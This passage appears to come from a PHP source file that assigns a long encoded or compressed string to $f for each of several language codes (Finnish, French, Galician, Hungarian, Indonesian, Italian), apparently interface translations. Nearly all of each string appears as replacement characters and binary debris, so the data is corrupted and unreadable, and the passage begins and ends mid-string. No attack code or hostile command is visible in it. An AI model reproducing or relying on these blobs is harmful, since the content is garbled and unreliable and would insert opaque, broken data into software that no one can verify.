41\"Ȉ=�YP�?�:���o����R@�ʑa\nҤl�p��,h���b�Ʉ#��i4���,�Z�M��C�R��<�1\"K���x0�@�2���D4���9�Ax^;ҁp�2\r��9�x�3��(�P��D9�#}F��O���/�C`�7\ra|\$����2����}�4\r�%Z7���2���&\r53� G�-?�s�:C6N�J��,(˰/��Hn�4�3��Jƿ���I�18%z|�Yϭ�U!.\n�`������E�\nzh�^��F�c���i!�_\\���[E�*�08zV�b��ƀ�lN��XƬiN��+L)Ƭ�q�l|�Š�=�%S��QX��n�����4��d:���&��/Z���*zK�:.���L��ӭûޗ2ytǷcw�2�ku�r� �d��9��簈\n۪{�2�ۓ��\$9�άL:w�D�Ɲ8+��P�\\\\UԘe��fC���6I)D�?�����숧�N�O�4��@��O���zDF(X+�A&�g�rmJ��[{^\$c��ޒ�����A{L�h�Z��|)?�����NE������NH\naL)e��� �����JC�t,-�>��.I�c�,�x�I*�8������Z�b+D� ݡ\$m��!o���2��2]:h��Sb�j] /t��@��A����%3��A�U�TZ�Q�EI�U.�Cr�S�}P�0ʩU:�Uj�W�ub�ժ�W ����/ �1X�1��f���B���\n�\n�d�iͰb�^�g�D8�/TNjI��*�9��q&ҋ2��\r��nϐd)gY�J��Z-~�@\$x�����-'p@\n\n)�����8�_rO[i����c�s3q3�RJYM\$��.fVPk� �\"*E���l!��0�9~�X��D\$���è ��g��ڢY�,4�0@�Èu�Έ`��h *aM%Z �c\r��i�z*�a�Ә�0���*��ݸ�X>�\n55��m���<���d������?�T�re,��t�\ny\\c�\n�<ÔlRș�� T�>W��� �p���1%4��`�1�K@\"lp�DA��G��5>�LX]�+�E4��g�����āg��xNT(@�-��A\"���hba\\�U��D�&�*aG��\0/��2!�j/�3Ԏ�r�?D~U��g2�c��f,�x���9g��@�+P�u���ܭ�'eޜ̦�wj��wK~꾔�v�u��97��Q�&g~����:I\\ɋcֿ�PR��4�0�#�L!���FuSٔ'*��f�T���5��6�\$}��Cm�%�\n�܅\r>.+��6�ԋ��7����м�s��8�a�Ķ\$en�Ҫ�ڢ�\\���ӓ��5J(��7����Z����F|c�\n�;F��O�Y^=�y�E2�;ga*W���!D�+O�F��\r@�违�\$_�y�=�/�\"7͐�Yog Aa Q�6h� U�R�Q\0�C�pSʘ2�i�{�I��SW�yl��\ni�n� �����\r����\n`#�#L��JWb&g�J�5L���'��6�L�l��ZQ8MRRkȕ��\"s%�\"\"V|��Ir>��8��Tq)��{�7����A�s���ݬ|י3X�du�d\n�Pk�4c�G��tm皲�!I�~/�PO���b����aJ�bps.��-�9u6�|��:���Dʭ8��=�7\0us�|ڞ^�]y�,,�/�+���)&���4���. ]�{v����W%]�2u�om6Y)yom8�\r��Rbf��f�Ð\\϶���d�{n��������u�>�}cc~GEw]��v�㩟Ε�=�鼥�s90����N���J�}q+�����zE�H\$��јqqYW�F<�f�W\\�ӌ�]袿�WO�'S2|��ɜ�+�}W98�dh�/������_�X�O�͝+��%(=�N�>���,:���\$JJ� ��JK'6��dE��*�(�Έf='�?��\$�;Kx���f����,�����FpO����g�f�I��:�̺N�&�KҰ���K�g���d��*�N=Gh�C�ДN������DD�!Ę�@=�p�������o��0Wo�АpP�\ro �p�������~����dn���/6B�� ��0�K��V�H��K|��(1.)\r(�P��g��\r����OQ�Ar����p_�Y�U�)�2fj��[����ܰ�<�������a��pQ}1Cъ��Hf�Ѱ�?�Ҫ��Q)���ydh4M�y���`�H���\n��G�Y.psq�FK*�'�J�tF��������#�ofDjc8(,H�F�M/��N��~5�*8Sb6U��Z@\nelŨ��\"�v��/āM��DŽ�2@\$/��jx�6��n��R�ʜ`�@�jT���Li���� �T��a�6\n���Z J7�\"�K*������3N����B�d�0*'0`rZ7��fd\0� �ڔ# �pLc�V�1��Zd��D�X*������0CjL�ԝlx8��\rl�\$母�%h�%iTݬd���p�,��un�_PL�M��>&�B�B=�G4�Њ0+\0ĘÎz�.�4�J�3c7,H7�g7s`���Ph&��hc�gcV@�T=����M����8�\"�h��/!�Ԑ�h�90Ͼ�ka-�f�!S�����i��8��.��� -�]bQ�H*+���@aR��ܺ�ZO��SV�q���i?�LpHKԪ̣c�kHP�ǜ3�";break;case"fi":$f="O6N��x��a9L#�P�\\33`����d7�Ά���i��&H��\$:GNa��l4�e�p(�u:��&蔲`t:DH�b4o�A���B��b��v?K������d3\rF�q��t<�\rL5 *Xk:��+d��nd����j0�I�ZA��a\r';e�� �K�jI�Nw}�G��\r,�k2�h����@Ʃ(vå��a��p1I��݈*mM�qza��M�C^�m��v�����ny�h�a�Rk�z�\n(H�X�\\Z`\n%�:�o�I�����-�M[c����j����i�82�C��ى���4�Cs��=MAHɧ�@�84�P�:�C�&(4�P�߄>�I�R�\r˸+A� #��zd:'L@�:�C�_ �K`�Ix��\n b\\�/s�C �қ%�ۢ��6�\r�S�#� � cd���<��X�24C�b���:4C(��CB�8a�^��H\\����\r�����!\r���M}\$�P�ē\r�XD #h�Sx�!���c@�2(h(�����HI���4��P� Ы\\�p��H�ܶ\rc̖쭶�R,@�]�r�� H�:�!-�0��@��-(<�p��U� �-tè�x��R\0�Wh@�7�v ��B4�5����3���π\r0��2�L3?9%�P��4��9�*�J�����64��&*\$Ul82dZ������C�[�0�����v0�;u.[Hꈁ)ê�!����&��7����l@�ϴ:�*0�df�n���/�>�0L[@�����`�襌�4�2��\"M6s\0:����#Hӯj�m���ئ\r�L��[o���T��.��zt�#K`Y�)�:�hAut,�D�����Kϧ���t�'Q�\r�b;�5=���1c�o7=�ړ���02�JmqF����m��9�*g���0-e���\\al'��hS@:eܚ�Xӓ�D�둠�I�I�Ʉ��p�S����&R�� ��\r� -\$ �P[�k�X͙��jI 1KH.��@��PA�B(e��avQ�EI�Pʥ˺�\r�qOu@��T���\$%��Պ���[���Y�1l��ڛò�?������)X\\Ƒl��MK�\r0��ݫ��M;�(i\0��\0@@P?,��,\n\np)3Ea�ސ���AR��'��ۋ�.�\r�� �K.���Ә�Jw&+\\ŭt�k��?H!����A��\n#�̚��8�l\nH.����H���L#[\0�is@�9��7��\\��� �NI\0P �L*Տ1�!t2�]�c\\���*l��h٤GJs�\r��4�rrH�c[@df\"#2D��2�\"D�>�Ɯ�J)T)��#@���{H���w�/O�@������bK�J�\"�t�\"�O��9�q���P�*V\rS� E �����h%�9�x#�`+W\n�]��be��u�퓗e��&r:���Y\"g�\0%ָ�!�b%�\0���m�]+�T�Õ�[K�y�6k4��PPDGm��#߉A0\r�����I�c8t�Q\\��:Vr^Lɳ�'N�KVn\$�6(Z�^̲B�Q��tS�jrw'�k��h��6d�a�,2~h��<��Q�\0�c!�6s�^�ªе��Y\"�j�{��BHnhy}�w~�ٓ10)�/pсZ�r����������%f.�`��\\�?��(&��MRPA�Q͑3|�`Rx����V���A�6R)��l�UP*�\0qH�\"��Z�#L9\$ �P�t�MĽ7��x ��D4��q�pK�a�<�WS�K�\r���� ���W2��+��fh>�|4�l�c��R7ӵH�t��\r�5x�W:fl��t^cN�;A�*a��?T|���@�r�L��쓩�2:v���JN;���>��9�,��Fh�7�=RL���0�0)�))9C�%]�#��uBP�T��}\n��e�çc�SM�_d2C�(�Try��z� 'B���#��8���7?a��g% ��g�v4����h����c w�IyeE�)p�A�S�Ҳ�|��Nա+\0�D|��:���&��z�\$J��e5�\"�\$�a�!;�)���ǍB�\r:��m5xA\0P�\n\n�({��{@Gl������2�1��r�H?e�%�0���3�y8������v~��ڡ��2\\�)�k�[�~l=�\\�3n{���TQ1g���/��ߟ{������^��;w�;�����J�ŕ�>�y���'h�\"��PA=�-^&���҂@_M�'�)�6�5��Ӽ�=7������X37��\"��ϒ���x��\0���a�^�I�T?[��3r�=���=��w� z���?��҉��v��<�.BoK��6�^v����@�\\,`���N),b��0O�5�,������(g\"& �za&��&��̇�~m�%�jO��7�\$�nŐt/��0z�P�4Z @�&b�Q \0�b.���\0��T�+� �3\n)�LN�4�E�\nfj%�2��?nC���K�&�ʋ#�5����l#�\r��\r#\0��\r�^e�\$�߮\rB@��l/�C����s���O=P)�,zp�,\$EL7�ba�@��l�L�\$W!D(��5Q�f�\$.�S\r�JD,�Q���g��l�\$� ���v�#�\r�x����������Р��K0(�()���dTA�11�1\0����\"O����\$�]�����)*�K4H\r�/�G���;n�dx\r�V6�6 ���{Eⴈ@ՍF���Ϋ�\n��� p�c(�:��L�c��q��T�� �*�&g\"a���l�E�8c\nj��5�|8�?vA�#?��/cX5�2��L�&F1\"NƦ�+\r`�\n�\nd&��h.�M\\{�Hp�Ȑ\"�-Cl�n8yI��.D�*bצ:g2�/����)`�(�E/��E\r�M\0�}*[�����\r�PЬfƦp�\"&��3fta��BM�01��af�0�b\$E�6��s\\7-����L��-ў-���B6�o|�ƿ+sz�2�5��D;�h������\$REd�#�";break;case"fr":$f="�E�1i��u9�fS���i7\n��\0�%���(�m8�g3I��e��I�cI��i��D��i6L��İ�22@�sY�2:JeS�\ntL�M&Ӄ��� �Ps��Le�C��f4����(�i���Ɠ<B�\n �LgSt�g�M�CL�7�j��?�7Y3���:N��xI�Na;OB��'��,f��&Bu��L�K������^�\rf�Έ����9�g!uz�c7�����'��z\\�/;{��x��kG'���,shy��f3a}���B��6\r#�+�����c��`N�%\nJ�< L���*�����⼢��@!� �W0��<�\nT�@�\n�Bp�6�L�:\"F�Cv\rK*K��B�82�#�#�q�&�' �\n�#����eCt\nhcS@Q�� �R����t\r\$5Ь*�̚�A�+�Ʀ��6�0#���T��!�\n��Px�����CCx8a�^��\\0��j ���8^2��\\1V\$��^'��3�t���#p����x�!�@�\r�ŧ�x@�%��&6�0��)���2O�;m�R*�6'�x���\"�1�r�\n�xP�zä���2��&62v*.2xƁ�HK�aXb:!��d�H��Oب|�\$��6Tء�:Gt�\0\n�<�8��#&���&2�t\n���s0>F3�O���\\ɳ�%�\n_��e�*J��9��oM�S I۲��� ��{���^�V��]��&��Y�U A�&/C��5c�-�\0U�y&)��:�7\0�<�3�&C�m��1>F�0��7�s�p��n;�r7*�����;a%��\"�wu�OW��_�\\���M�P2O��L��ѡ��\r s^�0�Јɻ��A�k�,*�`Zϲ:�Ab���#�U�8u�(�5�:�0nn`��@�Ӄ�|o��>���[�5f�?��8d�.\0ĸN��o\rj�0��1�,���T���2���?e�VIpm3�ym6s*A�X )���2�C�KOO�3���A��'P��H,jR�Y��7��ZH�A=�(T�U&���SA�N)�@��\$U\n�U��҆b2�V��\\�%v��XL�*��:�q�5+��� 43)��C3e�j��Ɖ��V~�٩��%5�R�CJ,��7r��^�YljN�H\np:�|��\0(*�P���n\$�%>(i�y�304�������Y��P�I )�<��8�d�( ��y�PαI�L��z�H*i�I���z��d�Q�o�U�=r�Q *�S�'�Q��3Q����Z���!!@'�0�O�0 hJ�T�*[25mԟ��lh� l�Fw�g��a[e*f�\r�W�M�rh��\\�E=���Zk7�G@fZ\")el�7�`0T�i\rX ����k�&&� RbJ0rL�Q�B���L)0���ƺ# �8P�T�*��\0�B`E�K�o�Bzv�ⱄ���ڄS �lG��&��8M����H�\n{�a��a(�y(E,�����Jug������bprNP�V^1X!/اw'0�QJ�\0���fy:\nlݶ3��m�u�ʼ\"Qx.KH���fH@\ne�VX%�@�Z:�P3J���V`:Yd\$���%Յ���f�2i@!!;@����Ul��H���@r�*_V�C�'(�63aR�����Iz|�a�yn�{�h�����4��ФB�\0ĭݐ���\\T��\$�d��p�Z'�k�(�#h���xuހWz뚑�u�V4�qh�>at-c62���\$F!�GHl�CR�=ψ�&�NGF�Ʉ¬Tz��xKM��ntlT!\$aC��JR�%��W|C!�FT�?�#\"�#�z��A� g0�9�k�Z�(+}m/�'�LjC�a�0�7��ɋ�%�.���Z>�HA�bd7+����ق�gAͣ��V�^;Z��0J�mQ��\nl6�i ���-�am���[6o���#۳\0�n;��!���\rߵ��(�>�w�I�V� Y-!�\r8q�a1��\r:-ʽ��Ym�L�dC<M�g�5�p����[�L��W�99�m����XtLQ�>��b9\r���H�t\$%���m�:0�E��c�`�\\��1S/.�,2e\\����h��ݙ@w2w�qk;RA���!:W_r��x\\ ~��'~,�����0-�o0���Ȍ��GV5�yE��4��eپ���h\0PPV�o�-�}����N�3h�i'��C'y��*�0B��7ef)d^(�-��c_G��Eθ�'���Mu��<�nB��-C�Ҭc���~O��?G�?�����z������tGNǏ���n��'j�tb��.��N���5\0000\0n��2'@���\0�z�öxp(�M��m��ͦڭ��P<T��&ا*��z�B�� o!I���P�PB� ُ���v����:��l�����Ѐ�&F�\"��.��8����_�HkcR�m��F̑�T7B|�G�(�6�@-�km&ʦҗ�1�D- �=�`y�!&F��ͩ�\\V���D��p��Pz�,N������0�\n��*b�6^Ж�P+�^��0���E�?\n�4�'��BQN�2m\r����\0��1sn��n��/�r�}��`�d���Mo`�b��N�Q�D�R�(2.f+�V��Ge���7pA���\r0���3Q�pM�'��g� I>F;�ܼ�:&r|��!���H�2x�*e�]#&¦C��+�i�\$� s\$�\$2U�ڥ�#�?%�\"k�&�S%\"���RU˰�R�F2U�&�K(�#'Q�)����\$��e�C(�B��*��+�C�Β���\n�C���Ͳ����2�*�p\n�FS��1���@Fd�Ұ����Bm*M��-�0��F�/)1`'@�?PФf0���/`h��mi\"���V�6o���!bFz��4n�4�R� ;#��eŠ�5�~ �\\�#�F��\ne�5\"8��:��d���\na���5���d,@�j�\r,*5c;'jrգo o�'0!.LJap�o��ͣ3������Z\r�m�%J�!���M:p����N\0�p��*N ��u&��ˍ֚'�h�д �M2����'2T4Ei<s�8��V��dW�!���PV�q�R���\r�����FF3�>F�;n�)T#@K�@��;&�ݫ������C�H�@p��n��K�@��4�H��K\"�T@�;eL���qHqD#��i@�O\r\\�4����怘lk:f%��U��t&/����\\=����:\nː��@%� �\0�(�@���N�����£���ж�a��7��x�\\KT��V1�(�,u&��O`�%�y/!�d��|\nG�\r�";break;case"gl":$f="E9�j��g:����P�\\33AAD�y�@�T���l2�\r&����a9\r�1��h2�aB�Q<A'6�XkY�x��̒l�c\n�NF�I��d��1\0��B�M�� ���h,�@\nFC1��l7AF#��\n7��4u�&e7B\rƃ�b7�f�S%6P\n\$��ף���]E�FS���'�M\"�c�r5z;d�jQ�0�·[���(��p�% �\n#��� ˇ)�A`�Y��'7T8#D��q�NJ�̓B;�PQ\n�rǓ;���T�(^e�����:��3���ҲCI�Y�J�欥�r��*�4����0�m��4�oꆖ��{Z���[��.���\r�R8�\nN��B�߈N�Q�B�ʡ�B��7�#��a�����`P�4�̔�5*�*�D�����C\n:���,�������p��>\nRs3jP@1��;@뇌(�͌��D4���9�Ax^;Ёt(�LÐ\\���{G?�:���n��(�=�5�A�\$H�:�x�@����D�b��Ҧ��ʐcJ��3V ��㶀�C�d���h�ƨ��R�Vu��7\r�|����R�X�C�J��%��R��:����wl�p��\"1�u4�#�Ɵ*t�\n˫䒪c(�9:��y_\"�x����\$#;63X���lz*� �jj�0z�9ͮ��2�Bd��<�b*�6u����W�^�P �d�2W8T�҄ݰ�M�5��#(d�+k\r6�R!K�j�E{�#��'lݏ����';2���;D�(5\rT�i*Nʈ����#-�����0o�8�7�6'_��*����3(�(L�#��h�tY������-j����X�T�����\0��4F7�\"'`4�]�1�Iq���iS�=�A�~�W;�<�*\r�_�!�b������\0�7}�o'�۩_m�*iX�^Ci�_\$����}� � �u�&�F�oBHQe@v\0r�c�#G�3C�lSi�l�q:4��˩�;��8B�J �u~)�����PJ;�`Ȣ\nR�J5G�\$�Ԫ��jiN)�ܨM_��T��T���cg�X���Q I)gU��@�`[�z!����Zɪ1���\0�u�8������F@,h��\0�(oqg���\nMɼ*h@���<H��(a�_!#Q�, �Bc�\nd�;��P���8x�%<�P����(�2RH��QMC�SO�)`+���er��5&ĘHtRX3�a��+�~wSrၡ�Ԡ� �6E��(�i9v,��V^�Q�06�\r?�-2ٜ1�l���~ޑ%� �1���\"�4�t1��J1]\rY�OSHI�;%o�`�\"�\$�*m�BVd҉y]�;h���I�3��KCM)�?��8�؋��)c�� �0�BL !h �)�p \n�@\"�jPA&�'� �Uj�Y�&Z�R��)l�9w�\\_�P%\r ��j��huG�<8P�6��9G�ޭU���Az.�:�̢�^θE}� ǶF����Nʂsf��!Gy��\$�[;Й�m��6��^��nV���V��yT)6�4V�K�Y\$ \$�'4rC��d�8�����0:U���>�S?c�G��RCH����bs���^tt�?G���dR�5D\r��Z����.����bI��4{P���}���0��aI�Ay��ۜ<,�0�jCF�\\�R�%)\\VV^٣� 't���b��%�А�u�\$��JK�X��i�JL�4�\0�8�Td��L���\0B9`H��SUN��m�q��*/�8�M \0���LJ&�t ��88dvb�!^0��Ι�~��x ]\n�@�4Q��KW�>��ę�.��ڎ�zh8`��]��Ɛ4M�h��tΣ�����=���?ڈ�G�����8#Q��H��e�:�?Hw�de���ޘ����c87[E�R���G_T���fͶJ��f��-FM1�.9Aʘ�P����f�x��p��4�֓xz�z K�d�����1�@e�<����z`퐻p�s��ϳ8>����2�4��t����I��2iEuw���ďr֡��U�Z�Ûnq&Q�=[F&:�(E���LfU���i�ښ�%�W�rQ6m�2��l�E�ь/\\%ε�0����J�DW��Xcn)4^�k��u�]K�D!��X �\\�3Q��&̰��:+��_\rn�@���#Λ .�~V�K5�\n�-{�]��%�g��<���0��!92��BIN/�QX�M1�4ޝ�����m�57��Ij�'����g��xrs�4ǪG������/���_��N[1y����������KF��C���&Qb,��{d����\0d�hF��\$� 8y�^a��fQJfǏ�7���+�\r�*1��O̮�0(�&ZkL�Nj��T�',.����X�.<,,�LnD��P��v�Kt�0r���v7\0�0� P�2.�:��u�&��id��%47֨0n�V�`ބ.a�Ш0�4���%�Pb���� �7/�L��q0�v����0��%0�(p�^d0{J��>�>�o���\0����#������q&m�7���*y��1@����P���3p��D�Bo1Oо���&C�Y1v�B��,�pO�����kv���\n��^���>�oP�\"�Q~�A�K�fJ�h �&\0��Ot7���*GC�G���\\(b�4-�Z�Va�����c{�LbNK����KJ� �N6d�\nj��#u\"����D�Ӓ�B�� ��\r�Vk��&�amdGcD\$�����#pN�g�F�@��Z\r��F�c�-�vm��MV*\"2C).\$'4��8�N|[p�%v6#�I2d������Ǯ�QxU�}��\$2_���%�3>(,�ma/&��)>�\0�Mrd+�E�₎�kY\0n�����V��1�\$�D3\"�3&�/�Q2R�1)`���)��3�3SB�sF^I&Ffp��4��Ζ��0�t�{\0h ZB���ޒ�>f�ި�`.��1�H�n2��K�lq��!B�+�x2�&C1� %F��90�s,1�uQTc�B:*�%d�#gx�BB�\r�";break;case"hu":$f="B4�����e7���P�\\33\r�5 ��d8NF0Q8�m�C|��e6kiL � 0��CT�\\\n Č'�LMBl4�fj�MRr2�X)\no9��D����:OF�\\�@\nFC1��l7AL5� �\n�L��Lt�n1�eJ��7)��F�)�\n!aOL5���x��L�sT��V�\r�*DAq2Q�Ǚ�d�u'c-L� 8�'cI�'���Χ!��!4Pd&�nM�J�6�A����p�<W>do6N����\n)���pW7��c\r[�6+�*J�Un\\t�(;�1�(6?O��'�Z`AJ���cJ�92�3�:)�h6�����[5� ��5O�a�izTV�����h\"\"�@�\r##:�.�d��9f=7�P�2��Kd��7��Ċ+q{95�tF6D�� IC\rJ\r�PʬBP���\"���=A\0��A�b4)0z\r��8a�^��H\\0�+�4\r�����Ø�7��xD��JL�/���5�A�6�\r�\$��x�Ah��4\"��A5���&�)��0�N�ؒ���:�iS�ʻ�\"e�H9�ۼ>+�E����45\$*��\0�\"��M�w����3�C�'��8�n3k�ɲ�8�ž�ꁍ��*i[X�-� �3#�R��:��P�ٿ��íN1�1@֜�:�3��D����9W\0�H�I��7.xB�c[7Gc]\"�7�a2mJ�<�)c��9F5;n(@9�u3�_�%L��L����k�2�R��j�L���*�m�k �*�{�c\r)���<���P��6���4��hߗ�c�\"��x�<s�.op�W7�v�3n�#��,\$�IK�5#Z7��2��&��6������wL���c65���2\$#���\n�|w�ڻ�c(P9�)��D�\n�Gu�\0�)�B2`=S��,�p e�6E�z��1)խ0�琡�+�� tN;*\ra�W��2CR>�pʛc��ө=\"�5@��{ia�;��] i)�\0��R�S��PjC����i\nJAI)E;S�yPuD�!~T�Ϊ㒬U��2Fi\\�2ta!J#!�朔*`�!\$2����z�l7 ��!W;%h�ARP�!0n\r'Ǘ�*��� I�'yd�k(�l:��(\\�� j\0�\$z�GX���~�T�3,��Qsq������ѝLr�7��4�K�Z-R�`�g�����p�DCɧ���,!�8E 8�\0�R�0r\$�� Ē4p�cX��qP�b��1�`�G�bxS\n�����J9!�w@��\n�H9P��O���e\rV���f�E`��\r�\\��� �\r3=_�dmMi�&!*J�L���)H8�N�A,A\$��ip��l���:J\n�oG-��T-��Ѫ��~���T�)�rM��CX�CWK�82�\\Ș�INry�8����'>�(&1y4��I�a���e�ږ�=���li%�11��A�v��I���f{��*���\r�AX��3,�x�!��A\0�*�\r-�:G�AR�[EP�=�L.!o1/�\\�P��N���ܷK�e�L���IQiY<X1���`,�k�o��Bg *Xl/A᥏]��m(w#�I�݂�P�\$8��\0�����V���E;�`� �*�̞�z�RH-u��0*&bF����ɫ'B)���H6f��:�DOc���q���n�˽�������\"@�XY�Z� l�T\n�!��A9Hԋ ��o63wN�I�\r-��`�DZ)� Ḇ��^WיK�wf���ԍ|�����4as����ц��^�iR'���r���p ��|�����y������\n^m�tGC�)����κ?;���U����@�I�v�&�T�1�Q�Wɪ%Y{�� M�N�7{:4bokN��������xFB�ȔU{r� P�u�kcmEeŽ%6Y����\0\n�1:��\n�)��m����r�\\0�ZZ��:�ޟƧ-ݢ\$���>G(�/��V�k��\$�a��'����V Xl5�V�����#��qu���cw!9/j��P�eK��k}�F5y�斊�m��'��3m�]fIi���U�#/\n�8�l�t%�b۶[l;']��Xs��I�u.�:��jO�q�C�'\0�dV�����|j\$\no�K�61��[)�S����̝�Y�\$�>F�xވJ�?��W��l�/�1�|�r8_R�]T �G�7�z���2a�����%�n���;i���.��\0'��߃������|�?�_�:�L���t<µ\n��9��~� 6H�o�jE����n�uÖ\r:<1� @ ��_�6\r��\r�]\$XE�\0�>`��\rg�&/�\$1\0��BZ�m�{��OlV�Z���u��\0�<]B��CZ0�h������-��>T�V��X��\0*���N��'.�ZoJ�O ���l�+ (<���Z!S KD��<N��ǯ�\nO�� o��Pȱ/`+�讎�b?�n����gXo`�+K���<�6̃\$�*hʪ��:B��e�����\$�� �#Ь�&Ren�j>[`�\r�B/� p�k�4E�YKG'�Cp�u��\nʢH��N�%�+�R'X=�WF~�Qm0�cъ��Oq~�\0�&�ы&�>0�P�ܑ�`Q�`��b8��b��Ǻ�lG�r�LD������,I��Q�����w���j�K����D�o�!�L'�Qc6��̀�\r�\0�C�h�W�V��l^`̴�P)Cl��R/��%#�%h?%�2��c%F%��&�.� �Ȑ�bV����R|<�`���7�\\<����\$B�^nJC\r`�-+]+O�+��+/�Ӯ�e�\r�V�Kv�8�&:c�Z��4���{�&����|�p\n���Z>/.<m��jrs�'�|�Y1�22e�1�r#�@\$BH\$6'�LT�^&.vF��12���*�`��00�\"i�&3d:��8&;�Y/´~�v��\"�(qBn;z@;�6\0�\r�<j�:E�sB��c|\\�m(�\$�lzZ���u\r�\r�8��&�r��F�6�q��(�F�|\"�E=��j�!s�8�l�#V5�~�����0Hx��Ђ\n��e�-�Gs�h,� ��� ��&��\nj�(n��H����_�V ��l ��AK�qd�?\$Q>��\$@�5e���E�_Kd3BQ\$#�?\"��d�h\"�4�>L\"\"�fѨ�+b��\r�D9�\$�HG#:�b�k�\0�@�\r�";break;case"id":$f="A7\"Ʉ�i7�BQp�� 9�����A8N�i��g:���@��e9�'1p(�e9�NRiD��0���I�*70#d�@%9����L�@t�A�P)l�`1ƃQ��p9��3||+6bU�t0�͒Ҝ��f)�Nf������S+Դ�o:�\r��@n7�#I��l2������:c����>㘺M��p*��4Sq�����7hA�]���Z͕�{��d�C^�ta'�D�\$���4�2�\$���E��N��)��7^���t֜s:�����(� H�J8#�;�� :T�'03������C L\">��(ގ��P�0�ˀ��=�(��%lN(@�;~��N���.\0P����\\u\"� �6�(� c@�2���D4���9�Ax^;�r�6� @\\7�C8^�Lc�ཬ�xD�L#(�'�h5�A�ճ\r���|���p�7���@��&\r-\nZ(2�JJ�:c���z�����\r[.�S�2�B(��ɐ�У� cx��#Z�I�\$��\\�^�Bx��K�\"I��6#c��:��U ��\0P����� ��ZGop��4����5��4:/���M5��� ����j\"��/-�� WEN2��0��C���!�KE �P���av�loJU+�5�N��:�H�I\"5�[���\0��2��j��T���O��88ًf �@)�P�H�6�Nñ)�7��2�7�h��e8�7�2#uC�#��1���g�Cx΄ab�9*F��KB˃sn2��R��\"�!�b������HX��\r�;h3�4�6����1k��\r���]]e���t�������R��#��;�(�<irX��IT�&��*��̷.�R��1��,�4�3\\L�M��9ι��Os�P- CH�&��[Ȗ������M&���hE=�]���I�]@\$pN�8d~���SJ��[�͕\0LCAt?%�+%&Ci�\nh�>�5\n {�\\�� t���<��5��KBI& ��S ��4f�%��{��rC� �F�J\nxh#��1�voPa3OЍ0�T_�Ȣ�RhL^��^h5t)B�\\JB\$���Tyb\r��4�r|��\njpؙ�nP�&����9�.c���R�\np�Q�F)�p䋚�!k��b�QV�O ��*�\0�B�ER�@�,�A80�@A+��Ę�f�P���\r�iL�I��Y��=>a�xD��!;�P�4Tp[�l )s�;�Be�ً��=�1�cIs(#f\r�τF�I���O�c\\XA�.��� �HcY%�����\0d@��@H�B?v\$@2�6���,\$e4֫Ya5hCC/!�j�4>u\r\n,3�ІI�uYk%�Zu#�Be9=��P��A��`Q���X�_ƺ�\"��t��VP��fF p1���X��������d�C�5�I�-�6F�PR6�!T��Z���@~��-�C \0�'16ԌxoSy�S�Z�;)(�c�C(�\0/���Ewi�D�f��7�[k�ZCjj��2@���bM���eξӜ6�5�@�;�MǴ+�!��kTb\\#qH;��H�1�&�<���Fb�\r�)˝\"��\$��<�k䋐�%�7X����DBC䇆�5`3�hC��9暨��FQpHR\r(H��^�A~.����G8tR��N�x�3�\0U]��s�sǥ\\qB!}�藬lrCs��7:�bY�T�F<�d�:��t\\�\$\\�\\�ٔ[�\n#��a�;bP��_!Ȩ%��\\��ve�,�Z�vVW�d�Xr+�W!���Z�K��(5�쏂��ɧde���ybr]�K��'d���NH,럺'��4��Ҏ�!�|�oZEBҫ�B�MC1�i��їh�=���\"Tf��u�\n�j\rm�У�M�=��a�ބ�U++K��:�T�m��uN�ٵ�V�9��T�kJ�R�ذ@�5`(/���ZH8 \rJ�s���xr��q�\\M��燋���!�Ѷu����@��uh83[\$oC�� %c(�!��m5vp�[Y�T8����Uϖ�1y ���bc���������<k�Y ���v��jϛ��t0���I�a�p�]C��Y�6�zռl�\\Kz�5��w�g.��y�md}os�&X�Z��en-�@�DD�:}���i;�1%Ͼm��7|M݃m,�Q�r�4k����������y.���/9�}���Z�Mm��z/o})��=��W/B�����(+�5_�/\";��C#E�:�����dӾ��dV��V �e����`+��/��c���p�~v��P���)���j�[g�|v\r���!���\n��\"ŖH�'J4F�P��n�%����8:��o\"�\n���Zt��#�Z��Z�ζ� @z/��D�)�hDu\0@�+a`C�Â�;c�u�&����ы�G���:�ߌ�%��(��J� �HD�\r�80��\0�Lh渷�쯮�-R,B�a��&�&�`,3�v�\"bj�O.RN���\r���H���BB� \\���Fr�H �P5��6�����s��^����\n*څ ���/�\0�#��hx&.�0m����,��F\$�^}��B�\r��5���+��C �BF�_+�BH�1*�>(2\0";break;case"it":$f="S4�Χ#x�%���(�a9@L&�)��o����l2�\r��p�\"u9��1qp(�a��b�㙦I!6�NsY�f7��Xj�\0��B��c���H 2�NgC,�Z0��cA��n8���S|\\o���&��N�&(܂ZM7�\r1��I�b2�M��s:�\$Ɠ9�ZY7�D� �C#\"'j �� ���!���4Nz��S����fʠ 1�����+k3�3 \r���J�R[i�\n\"�&V��3��Nw���0�)���ln4�Nt�]�R�ژj iO��4AECI�ҍ#�Cv���`N:����:���\"4� @�/��\nC,#��z(���T�*c*rװL���/Р�c��2A�ĝ?B��k���B`\$�������&@�2���D4���9�Ax^;ˁp�2\r�[-8^����ʚ��xD�L��)��0��XD #h�&c�x�!��C�B��# BB)�.�����Sz�C��0����4�`��P@聯���&�T�+�\$�.��',��0����ރ��\0�<��HK`�j�!��bH�?o�f\r�\r4+X�'��|�0��`�6C`�\nu�~�/�3u�\0P�3��{x?B����8��P�9/V���- �pP�Č��D�<���]�h��3�O\"1H �P��0��kXUu�J�F�8UVK�1�18�'�y�L����^��\0P�ͳ�,�8-��9郖�����`���cth+�^���� ���0��I)h��?cz1\$.[1�l8�p�t�9��\0庌,j�p�=�*�@�����5��\0�)�B2��ܣND���&��\r/#찋���CU<\"�)���� f�0�7�I�b�W=�f�*��3FX\"�<?�x��I���(�r��,�r�0�#��8��t�5��t�9N���=O��Pt-D�m\nr�B�H��\$#�Z �'g���Utf9�\$%̏��LUZ{�\$����T�qȱ� ����HO!M��\0�a�j%�ӂ��\nI�P�a���֨��sk�P�\"A��7L�:\0�`��-M#��z�I&D��F�����դ�\0y�\r�� ����k8㚃T���G\r�\$����I�P �L*:\0��Oq����b��/I=*��l^��n#��T/���,K\$��g%�@L!�g���H0T���'�\0cJ!��1��Ro�{�I (ܫf.�p \n�@\"�X��&Y�[��!��=[͗���9�<71ʨ�p^y�� zNi�\nm1W�_=t�R6��\n��8�nuϣZH��-���6Φ�:�g�1�3#�EMə �ܚ���D\$<:F�+�2�ȑ�\$�x�B�BQ�҇���x[�R�Gp���rE)�F^KЛ%��&2@?e̺��B�P�pGh��2���\nh�A؈t�(M��EP�ʰL�e�T�j��n/D���X�+�0�M2����W��VT9�9OHf�f0��@�~�I�Es�4�c,�.-a�̤t�_�9�\\F�_�b�NK0R2&�a�S-h1�j�y� �C \0�3�?�1�-6����A\$RIV��s�5�x 